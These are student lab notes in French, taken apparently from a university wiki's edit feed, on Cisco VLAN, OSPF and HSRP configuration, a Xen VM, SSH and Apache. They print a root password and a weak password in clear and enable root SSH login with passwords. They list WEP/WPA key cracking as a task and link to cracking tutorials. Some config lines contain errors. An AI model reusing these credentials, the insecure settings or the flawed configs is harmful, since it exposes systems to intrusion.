    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51570</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51570"/>
				<updated>2019-12-07T02:17:19Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Installation de la machine virtuelle avec xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
